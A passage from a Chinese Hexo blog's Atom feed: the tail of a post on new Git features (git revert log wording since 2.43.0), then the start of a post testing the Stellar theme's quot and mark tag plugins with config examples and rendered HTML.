class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">$ git revert --no-edit HEAD</span><br><span class="line">$ git revert --no-edit HEAD</span><br><span class="line">$ git revert --no-edit HEAD</span><br><span class="line">$ git <span class="built_in">log</span> --oneline</span><br><span class="line">eaf9b18 (HEAD -&gt; master) Revert <span class="string">&quot;Revert &quot;</span>Revert <span class="string">&quot;second commit&quot;</span><span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">79484d1 Revert <span class="string">&quot;Revert &quot;</span>second commit<span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">48f8ac7 Revert <span class="string">&quot;second commit&quot;</span></span><br><span class="line"></span><br><span class="line">e75a561 second commit</span><br><span class="line"></span><br><span class="line">0eaa862 init commit</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>&#x4EE5;&#x4E0A;&#x662F;&#x8FDB;&#x884C;&#x4E86;&#x4E09;&#x6B21; revert &#x7684;&#x6548;&#x679C;&#x3002;&#x4ECE; git-2.43.0 &#x5F00;&#x59CB;&#xFF0C;&#x540C;&#x6837;&#x7684;&#x64CD;&#x4F5C;&#x4E4B;&#x540E;&#xFF0C;&#x6548;&#x679C;&#x5982;&#x4E0B;:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">$ git <span class="built_in">log</span> --oneline</span><br><span class="line">f0b1ba1 (HEAD -&gt; main) Revert <span class="string">&quot;Reapply &quot;</span>second commit<span class="string">&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">e0f604b Reapply <span class="string">&quot;second commit&quot;</span></span><br><span class="line"></span><br><span class="line">7fc1641 Revert <span class="string">&quot;second commit&quot;</span></span><br><span class="line"></span><br><span class="line">7b82442 second commit</span><br><span class="line"></span><br><span class="line">66ae27c init commit</span><br></pre></td></tr></table></figure><p>&#x53EF;&#x8BFB;&#x6027;&#x66F4;&#x597D;&#x4E86;&#x3002;</p><p>&#x4EE5;&#x4E0A;&#x662F;&#x4ECE; git-2.40.0 &#x4EE5;&#x6765;&#x53D1;&#x5E03;&#x7684; git &#x7248;&#x672C;&#x4E2D;&#x53D1;&#x73B0;&#x7684;&#x4E00;&#x4E9B;&#x6709;&#x7528;&#x548C;&#x6709;&#x8DA3;&#x7684;&#x66F4;&#x65B0;&#x3002;&#x5F53;&#x7136;&#xFF0C;&#x622A;&#x6B62;&#x5230;&#x5F53;&#x524D;&#x7684; 2.45.2&#xFF0C;&#x8FD9;&#x671F;&#x95F4;&#x8FD8;&#x6709;&#x5F88;&#x591A;&#x7684;&#x6027;&#x80FD;&#x4F18;&#x5316;&#x4EE5;&#x53CA;&#x5B89;&#x5168;&#x6F0F;&#x6D1E;&#x95EE;&#x9898;&#x66F4;&#x65B0;&#x5E76;&#x6CA1;&#x6709;&#x5728;&#x8FD9;&#x91CC;&#x6D89;&#x53CA;&#xFF0C;&#x611F;&#x5174;&#x8DA3;&#x7684;&#x8BDD;&#x53EF;&#x4EE5;&#x53BB; <a href="https://github.blog/tag/git/">&#x5B98;&#x65B9;&#x535A;&#x5BA2;</a> &#x67E5;&#x770B;&#x3002;</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&amp;#x672C;&amp;#x6587;&amp;#x7CBE;&amp;#x9009;&amp;#x4ECB;&amp;#x7ECD;&amp;#x4E86;Git 2.40.0&amp;#x4EE5;&amp;#x540E;&amp;#x7248;&amp;#x672C;&amp;#x4E2D;&amp;#x7684;&amp;#x516D;&amp;#x9879;&amp;#x5B9E;&amp;#x7528;&amp;#x529F;&amp;#x80FD;&amp;#x66F4;&amp;#x65B0;&amp;#x3002;&amp;#x6587;&amp;#x7AE0;&amp;#x8BE6;&amp;#x7EC6;&amp;#x89E3;&amp;#x6790;&amp;#x4E86;reftable&amp;#x65B0;&amp;#x5B58;&amp;#x50A8;&amp;#x683C;&amp;#x5F0F;&amp;#x5982;&amp;#x4F55;&amp;#x9AD8;&amp;#x6548;&amp;#x5904;&amp;#x7406;&amp;#x5927;&amp;#x91CF;&amp;#x5F15;&amp;#x7528;&amp;#xFF1B;SHA-1&amp;#x4E0E;SHA-256&amp;#x7B97;&amp;#x6CD5;&amp;#x7684;&amp;#x517C;&amp;#x5BB9;&amp;#x63AA;&amp;#x65BD;&amp;#xFF1B;git diff&amp;#x663E;&amp;#x793A;&amp;#x683C;&amp;#x5F0F;&amp;#x7684;&amp;#x81EA;&amp;#x5B9A;&amp;#x4E49;&amp;#x914D;&amp;#x7F6E;&amp;#xFF1B;commit&amp;#x4FE1;&amp;#x606F;&amp;#x6CE8;&amp;#x91CA;&amp;#x683C;&amp;#x5F0F;&amp;#x7684;&amp;#x4E2A;&amp;#x6027;&amp;#x5316;&amp;#x8BBE;&amp;#x7F6E;&amp;#xFF1B;&amp;#x914D;&amp;#x7F6E;&amp;#x65F6;&amp;#x6DFB;&amp;#x52A0;&amp;#x6CE8;&amp;#x91CA;&amp;#x7684;&amp;#x65B0;&amp;#x529F;&amp;#x80FD;&amp;#xFF1B;&amp;#x4EE5;&amp;#x53CA;git revert&amp;#x547D;&amp;#x4EE4;&amp;#x8F93;&amp;#x51FA;&amp;#x4FE1;&amp;#x606F;&amp;#x7684;&amp;#x6539;&amp;#x8FDB;&amp;#x3002;&amp;#x6BCF;&amp;#x4E2A;&amp;#x7279;&amp;#x6027;&amp;#x90FD;&amp;#x914D;&amp;#x6709;&amp;#x5B9E;&amp;#x9645;&amp;#x547D;&amp;#x4EE4;&amp;#x793A;&amp;#x4F8B;&amp;#x548C;&amp;#x4F7F;&amp;#x7528;&amp;#x573A;&amp;#x666F;&amp;#x5206;&amp;#x6790;&amp;#xFF0C;&amp;#x5E2E;&amp;#x52A9;&amp;#x5F00;&amp;#x53D1;&amp;#x8005;&amp;#x5229;&amp;#x7528;&amp;#x8FD9;&amp;#x4E9B;&amp;#x65B0;&amp;#x529F;&amp;#x80FD;&amp;#x63D0;&amp;#x5347;Git&amp;#x4F7F;&amp;#x7528;&amp;#x4F53;&amp;#x9A8C;&amp;#x548C;&amp;#x5DE5;&amp;#x4F5C;&amp;#x6548;&amp;#x7387;&amp;#x3002;&lt;/p&gt;</summary>
    
    
    
    <category term="Git" scheme="https://oschina.win/categories/Git/"/>
    
    <category term="Git 特性更新" scheme="https://oschina.win/categories/Git/Git-%E7%89%B9%E6%80%A7%E6%9B%B4%E6%96%B0/"/>
    
    
    <category term="Git" scheme="https://oschina.win/tags/Git/"/>
    
  </entry>
  
  <entry>
    <title>探索博客主题的新特性，以备装修用</title>
    <link href="https://oschina.win/posts/10dde778.html"/>
    <id>https://oschina.win/posts/10dde778.html</id>
    <published>2023-11-13T10:38:00.000Z</published>
    <updated>2025-04-25T13:25:58.164Z</updated>
    
    <content type="html"><![CDATA[<p>&#x672C;&#x6587;&#x5168;&#x9762;&#x6D4B;&#x8BD5;&#x4E86;Stellar&#x4E3B;&#x9898;&#x7684;&#x5404;&#x79CD;&#x6807;&#x7B7E;&#x7EC4;&#x4EF6;&#x548C;&#x7279;&#x6027;&#xFF0C;&#x4F5C;&#x4E3A;&#x535A;&#x5BA2;&#x88C5;&#x4FEE;&#x7684;&#x5B9E;&#x7528;&#x6307;&#x5357;&#x3002;&#x6587;&#x7AE0;&#x7CFB;&#x7EDF;&#x5730;&#x5C55;&#x793A;&#x4E86;&#x5305;&#x62EC;quot&#x5F15;&#x7528;&#x3001;mark&#x6807;&#x8BB0;&#x3001;note&#x5907;&#x6CE8;&#x548C;hashtag&#x7B49;&#x8868;&#x8FBE;&#x7C7B;&#x7EC4;&#x4EF6;&#x7684;&#x7528;&#x6CD5;&#x4E0E;&#x6548;&#x679C;&#xFF1B;&#x8BE6;&#x7EC6;&#x8BB0;&#x5F55;&#x4E86;callout&#x4FE1;&#x606F;&#x6846;&#x3001;link&#x94FE;&#x63A5;&#x5361;&#x7247;&#x548C;ghcard&#x5361;&#x7247;&#x7B49;&#x5185;&#x5BB9;&#x7C7B;&#x7EC4;&#x4EF6;&#x7684;&#x591A;&#x79CD;&#x6837;&#x5F0F;&#x53D8;&#x5316;&#xFF1B;&#x5E76;&#x6F14;&#x793A;&#x4E86;&#x8BF8;&#x5982;icon&#x56FE;&#x6807;&#x3001;checkbox&#x590D;&#x9009;&#x6846;&#x4E0E;timeline&#x65F6;&#x95F4;&#x7EBF;&#x7B49;&#x5E03;&#x5C40;&#x7C7B;&#x7EC4;&#x4EF6;&#x7684;&#x4E30;&#x5BCC;&#x529F;&#x80FD;&#x3002;&#x6BCF;&#x4E2A;&#x7EC4;&#x4EF6;&#x90FD;&#x63D0;&#x4F9B;&#x4E86;&#x5B9E;&#x9645;&#x4EE3;&#x7801;&#x793A;&#x4F8B;&#x548C;&#x6E32;&#x67D3;&#x6548;&#x679C;&#xFF0C;&#x5E76;&#x6807;&#x6CE8;&#x4E86;&#x5B9E;&#x7528;&#x6307;&#x6570;&#xFF0C;&#x5E2E;&#x52A9;&#x8BFB;&#x8005;&#x5FEB;&#x901F;&#x638C;&#x63E1;Stellar&#x4E3B;&#x9898;&#x7684;&#x9AD8;&#x7EA7;&#x7F8E;&#x5316;&#x6280;&#x5DE7;&#x3002;</p><span id="more"></span><h2 id="&#x4E00;&#x3001;-tag-plugins-&#x6807;&#x7B7E;&#x7EC4;&#x4EF6;">&#x4E00;&#x3001; tag-plugins &#x6807;&#x7B7E;&#x7EC4;&#x4EF6;</h2><p>tag &#x63D2;&#x4EF6;&#x7684;&#x683C;&#x5F0F;&#x90FD;&#x662F;&#xFF1A;</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{% tag_name [arg1] [arg2] [...] %}</span><br></pre></td></tr></table></figure><p>&#x6709;&#x4E9B;&#x7C7B;&#x578B;&#x9700;&#x8981;&#x8DDF;&#x7ED3;&#x675F;&#x6807;&#x7B7E;&#x4E00;&#x8D77;&#x4F7F;&#x7528;&#xFF0C;&#x5982;&#xFF1A;</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">{% tag_name [arg1] [arg2] [...] %}</span><br><span class="line">content</span><br><span class="line">{% end_tag_name %}</span><br></pre></td></tr></table></figure><p>&#x6709;&#x4E9B; <code>{% tag %}` &#x4E0E; `{% endtag %}</code> &#x4E4B;&#x95F4;&#x8FD8;&#x53EF;&#x4EE5;&#x5D4C;&#x5165;&#x5176;&#x4ED6; tag&#x3002;</p><p>&#x5728; stellar &#x7F51;&#x7AD9;&#x4E0A;&#xFF0C;&#x4F5C;&#x8005;&#x628A;&#x6807;&#x7B7E;&#x7EC4;&#x4EF6;&#x5927;&#x81F4;&#x5206;&#x4E3A;&#x56DB;&#x7C7B;&#xFF0C;&#x4E0B;&#x9762;&#x662F;&#x6211;&#x5206;&#x522B;&#x6D4B;&#x8BD5;&#x4E0B;&#x5B83;&#x4EEC;&#x3002;</p><h3 id="&#x8868;&#x8FBE;&#x7C7B;&#x6807;&#x7B7E;&#x7EC4;&#x4EF6;">&#x8868;&#x8FBE;&#x7C7B;&#x6807;&#x7B7E;&#x7EC4;&#x4EF6;</h3><h4 id="1-quot-&#x5F15;&#x7528;">1. quot &#x5F15;&#x7528;</h4><p>&#x683C;&#x5F0F;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">{% quot [el:h2] [icon:default] [prefix:icon] text [suffix:icon] %}</span><br><span class="line"></span><br><span class="line">&#x5176;&#x4E2D;&#xFF1A;el &#x53EF;&#x4EE5;&#x6307;&#x5B9A; h1, h2, h3, p &#x7B49;&#x7B49;&#xFF0C;&#x4E0D;&#x8FC7;&#x6700;&#x597D;&#x662F;&#x7528; p &#x6807;&#x7B7E;&#xFF0C;&#x56E0;&#x4E3A; h &#x53EF;&#x80FD;&#x4F1A;&#x5F71;&#x54CD;&#x540E;&#x9762;&#x7684;&#x6837;&#x5F0F;</span><br></pre></td></tr></table></figure><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">{% quot &#xA0;prefix:https://bu.dusays.com/2022/10/24/63567d3e07da3.png this is a quot el:p %}</span><br><span class="line"></span><br><span class="line">{% quot &#xA0;prefix:https://bu.dusays.com/2022/10/24/63567d3e092ff.png this is a quot el:p %}</span><br><span class="line"></span><br><span class="line">{% quot &#xA0;icon:hashtag this is a quot el:p %}</span><br><span class="line"></span><br><span class="line">{% quot &#xA0;icon:question this is a quot &#xA0;%}</span><br></pre></td></tr></table></figure><p>&#x7ED3;&#x679C;&#xFF1A;</p><div class="tag-plugin quot"><p class="content" type="icon"><span class="empty"></span><span class="text">this is a quot</span><img class="icon prefix" src="https://bu.dusays.com/2022/10/24/63567d3e07da3.png"></p></div><div class="tag-plugin quot"><p class="content" type="icon"><img class="icon prefix" src="https://bu.dusays.com/2022/10/24/63567d3e092ff.png"><span class="text">this is a quot</span><span class="empty"></span></p></div><div class="tag-plugin quot"><p class="content" type="icon"><img class="icon prefix" src="https://bu.dusays.com/2022/10/24/63567d3e07da3.png"><span class="text">this is a quot</span><span class="empty"></span></p></div><div class="tag-plugin quot"><p class="content" type="icon"><svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 256 256"><path fill="currentColor" d="M225.86 102.82c-3.77-3.94-7.67-8-9.14-11.57c-1.36-3.27-1.44-8.69-1.52-13.94c-.15-9.76-.31-20.82-8-28.51s-18.75-7.85-28.51-8c-5.25-.08-10.67-.16-13.94-1.52c-3.56-1.47-7.63-5.37-11.57-9.14C146.28 23.51 138.44 16 128 16s-18.27 7.51-25.18 14.14c-3.94 3.77-8 7.67-11.57 9.14c-3.25 1.36-8.69 1.44-13.94 1.52c-9.76.15-20.82.31-28.51 8s-7.8 18.75-8 28.51c-.08 5.25-.16 10.67-1.52 13.94c-1.47 3.56-5.37 7.63-9.14 11.57C23.51 109.72 16 117.56 16 128s7.51 18.27 14.14 25.18c3.77 3.94 7.67 8 9.14 11.57c1.36 3.27 1.44 8.69 1.52 13.94c.15 9.76.31 20.82 8 28.51s18.75 7.85 28.51 8c5.25.08 10.67.16 13.94 1.52c3.56 1.47 7.63 5.37 11.57 9.14c6.9 6.63 14.74 14.14 25.18 14.14s18.27-7.51 25.18-14.14c3.94-3.77 8-7.67 11.57-9.14c3.27-1.36 8.69-1.44 13.94-1.52c9.76-.15 20.82-.31 28.51-8s7.85-18.75 8-28.51c.08-5.25.16-10.67 1.52-13.94c1.47-3.56 5.37-7.63 9.14-11.57c6.63-6.9 14.14-14.74 14.14-25.18s-7.51-18.27-14.14-25.18M128 192a12 12 0 1 1 12-12a12 12 0 0 1-12 12m8-48.72v.72a8 8 0 0 1-16 0v-8a8 8 0 0 1 8-8c13.23 0 24-9 24-20s-10.77-20-24-20s-24 9-24 20v4a8 8 0 0 1-16 0v-4c0-19.85 17.94-36 40-36s40 16.15 40 36c0 17.38-13.76 31.93-32 35.28"/></svg><span class="text">this is a quot</span><span class="empty"></span></p></div><p>&#x8FD8;&#x53EF;&#x4EE5;&#x81EA;&#x5B9A;&#x4E49;&#x5F15;&#x53F7;&#xFF0C;&#x5728;&#x914D;&#x7F6E;&#x6587;&#x4EF6;&#x4E2D;&#x7684; tag_plugins.quot &#x4F4D;&#x7F6E;&#xFF1A;</p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">tag_plugins:</span></span><br><span class="line">  <span class="string">...</span></span><br><span class="line">  <span class="comment"># {% quot %}</span></span><br><span class="line">  <span class="attr">quot:</span></span><br><span class="line">    <span class="string">default:#</span> <span class="string">&#x53EF;&#x4EE5;&#x81EA;&#x884C;&#x914D;&#x7F6E;&#x591A;&#x79CD;&#x56FE;&#x6807;&#x65B9;&#x6848;</span></span><br><span class="line">      <span class="string">prefix:https://bu.dusays.com/2022/10/24/63567d3e092ff.png</span></span><br><span class="line">      <span class="string">suffix:https://bu.dusays.com/2022/10/24/63567d3e0ab55.png</span></span><br><span class="line">    <span class="attr">hashtag:</span></span><br><span class="line">      <span class="string">prefix:https://bu.dusays.com/2022/10/24/63567d3e07da3.png</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>&#x53EF;&#x4EE5;&#x901A;&#x8FC7; prefix &#x6216; suffix &#x53C2;&#x6570;&#x8BBE;&#x7F6E;&#x4EFB;&#x610F;&#x56FE;&#x6807;&#x6216;&#x56FE;&#x7247;&#xFF0C;&#x652F;&#x6301; URL &#x6216; icons.yml &#x6587;&#x4EF6;&#x4E2D;&#x914D;&#x7F6E;&#xFF0C;&#x4F8B;&#x5982;&#xFF1A;</p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">{<span class="string">%</span> <span class="string">quot</span> <span class="string">prefix:solar:planet-bold-duotone</span> <span class="string">&#x8FD9;&#x662F;&#x4E00;&#x4E2A;</span> <span class="string">icons.yml</span> <span class="string">&#x914D;&#x7F6E;&#x7684;&#x793A;&#x4F8B;</span> <span class="string">%</span>}</span><br><span class="line"></span><br><span class="line">{<span class="string">%</span> <span class="string">quot</span> <span class="string">prefix:https://api.iconify.design/line-md:moon-alt-to-sunny-outline-loop-transition.svg</span> <span class="string">&#x8FD9;&#x662F;&#x4E00;&#x4E2A;</span> <span class="string">url</span> <span class="string">&#x7684;&#x793A;&#x4F8B;</span> <span class="string">suffix:https://api.iconify.design/solar:list-heart-minimalistic-line-duotone.svg</span> <span class="string">%</span>}</span><br><span class="line"></span><br><span class="line">{<span class="string">%</span> <span class="string">quot</span> <span class="string">icon:default</span> <span class="string">&#x9ED8;&#x8BA4;</span> <span class="string">%</span>}</span><br></pre></td></tr></table></figure><div class="tag-plugin quot"><p class="content" type="icon"><svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 24 24"><path fill="currentColor" d="M20 12a8 8 0 1 1-16 0a8 8 0 0 1 16 0" opacity=".5"/><path fill="currentColor" d="M17.712 5.453c1.047-.193 2.006-.259 2.797-.152c.77.103 1.536.393 1.956 1.064c.446.714.312 1.542-.012 2.258c-.33.728-.918 1.499-1.672 2.268c-1.516 1.547-3.836 3.226-6.597 4.697c-2.763 1.472-5.495 2.484-7.694 2.92c-1.095.217-2.098.299-2.923.201c-.8-.095-1.6-.383-2.032-1.075c-.47-.752-.296-1.63.07-2.379c.375-.768 1.032-1.586 1.872-2.403L4 12.416c0 .219.083.71.168 1.146c.045.23.09.444.123.596c-.652.666-1.098 1.263-1.339 1.756c-.277.567-.208.825-.145.925c.072.116.305.305.937.38c.609.073 1.44.018 2.455-.183c2.02-.4 4.613-1.351 7.28-2.772c2.667-1.42 4.85-3.015 6.23-4.423c.694-.707 1.15-1.334 1.377-1.836c.233-.515.167-.75.107-.844c-.07-.112-.289-.294-.883-.374c-.542-.072-1.272-.041-2.163.112L16.87 5.656c.338-.101.658-.17.842-.203"/></svg><span class="text">&#x8FD9;&#x662F;&#x4E00;&#x4E2A; icons.yml &#x914D;&#x7F6E;&#x7684;&#x793A;&#x4F8B;</span><span class="empty"></span></p></div><div class="tag-plugin quot"><p class="content" type="icon"><img class="icon prefix" src="https://api.iconify.design/line-md:moon-alt-to-sunny-outline-loop-transition.svg"><span class="text">&#x8FD9;&#x662F;&#x4E00;&#x4E2A; url &#x7684;&#x793A;&#x4F8B;</span><img class="icon prefix" src="https://api.iconify.design/solar:list-heart-minimalistic-line-duotone.svg"></p></div><div class="tag-plugin quot"><p class="content" type="icon"><img class="icon prefix" src="https://bu.dusays.com/2022/10/24/63567d3e092ff.png"><span class="text">&#x9ED8;&#x8BA4;</span><img class="icon prefix" src="https://bu.dusays.com/2022/10/24/63567d3e0ab55.png"></p></div><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><hr><h4 id="2-mark-&#x6807;&#x8BB0;">2. mark &#x6807;&#x8BB0;</h4><p>&#x683C;&#x5F0F;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{% mark text [color:color] %}</span><br></pre></td></tr></table></figure><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#x652F;&#x6301;&#x591A;&#x5F69;&#x6807;&#x8BB0;&#xFF0C;&#x5305;&#x62EC;&#xFF1A;{% mark &#x9ED8;&#x8BA4; %} {% mark &#x7EA2; color:red %} {% mark &#x6A59; color:orange %} {% mark &#x9EC4; color:yellow %} {% mark &#x7EFF; color:green %} {% mark &#x9752; color:cyan %} {% mark &#x84DD; color:blue %} {% mark &#x7D2B; color:purple %} {% mark &#x4EAE; color:light %} {% mark &#x6697; color:dark %} {% mark &#x8B66;&#x544A; color:warning %} {% mark &#x9519;&#x8BEF; color:error %} &#x4E00;&#x5171; 12 &#x79CD;&#x989C;&#x8272;&#x3002;</span><br></pre></td></tr></table></figure><p>&#x7ED3;&#x679C;&#xFF1A;</p><p>&#x652F;&#x6301;&#x591A;&#x5F69;&#x6807;&#x8BB0;&#xFF0C;&#x5305;&#x62EC;&#xFF1A;<mark class="tag-plugin colorful mark" color="yellow">&#x9ED8;&#x8BA4;</mark> <mark class="tag-plugin colorful mark" color="red">&#x7EA2;</mark> <mark class="tag-plugin colorful mark" color="orange">&#x6A59;</mark> <mark class="tag-plugin colorful mark" color="yellow">&#x9EC4;</mark> <mark class="tag-plugin colorful mark" color="green">&#x7EFF;</mark> <mark class="tag-plugin colorful mark" color="cyan">&#x9752;</mark> <mark class="tag-plugin colorful mark" color="blue">&#x84DD;</mark> <mark class="tag-plugin colorful mark" color="purple">&#x7D2B;</mark> <mark class="tag-plugin colorful mark" color="light">&#x4EAE;</mark> <mark class="tag-plugin colorful mark" color="dark">&#x6697;</mark> <mark class="tag-plugin colorful mark" color="warning">&#x8B66;&#x544A;</mark> <mark class="tag-plugin colorful mark" color="error">&#x9519;&#x8BEF;</mark> &#x4E00;&#x5171; 12 &#x79CD;&#x989C;&#x8272;&#x3002;</p><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 